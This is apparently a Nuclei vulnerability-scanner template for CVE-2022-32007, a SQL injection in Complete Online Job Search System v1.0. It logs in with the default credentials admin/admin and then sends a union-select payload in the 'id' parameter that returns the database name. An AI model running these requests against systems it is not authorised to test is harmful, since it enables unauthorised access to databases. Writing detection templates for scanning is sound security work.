44 lines
1.1 KiB
YAML
44 lines
1.1 KiB
YAML
|
id: CVE-2022-32007
|
||
|
|
||
|
info:
|
||
|
name: Complete Online Job Search System v1.0 - SQL Injection
|
||
|
author: arafatansari
|
||
|
severity: medium
|
||
|
description: |
|
||
|
Complete Online Job Search System v1.0 is vulnerable to SQL Injection via /eris/admin/company/index.php?view=edit&id=.
|
||
|
reference:
|
||
|
- https://nvd.nist.gov/vuln/detail/CVE-2022-32007
|
||
|
- https://github.com/k0xx11/bug_report/blob/main/vendors/campcodes.com/online-job-search-system/SQLi-2.md
|
||
|
tags: cve,cve2022,sqli,authenticated
|
||
|
|
||
|
requests:
|
||
|
- raw:
|
||
|
- |
|
||
|
POST /admin/login.php HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Content-Type: application/x-www-form-urlencoded
|
||
|
|
||
|
user_email=admin&user_pass=admin&btnLogin=
|
||
|
|
||
|
- |
|
||
|
GET /admin/company/index.php?view=edit&id=-3%27%20union%20select%201,database(),3,4,5,6--+ HTTP/1.1
|
||
|
Host: {{Hostname}}
|
||
|
Content-Type: application/x-www-form-urlencoded
|
||
|
|
||
|
cookie-reuse: true
|
||
|
matchers-condition: and
|
||
|
matchers:
|
||
|
- type: word
|
||
|
part: body
|
||
|
words:
|
||
|
- 'erisdb'
|
||
|
|
||
|
- type: word
|
||
|
part: header
|
||
|
words:
|
||
|
- text/html
|
||
|
|
||
|
- type: status
|
||
|
status:
|
||
|
- 200
|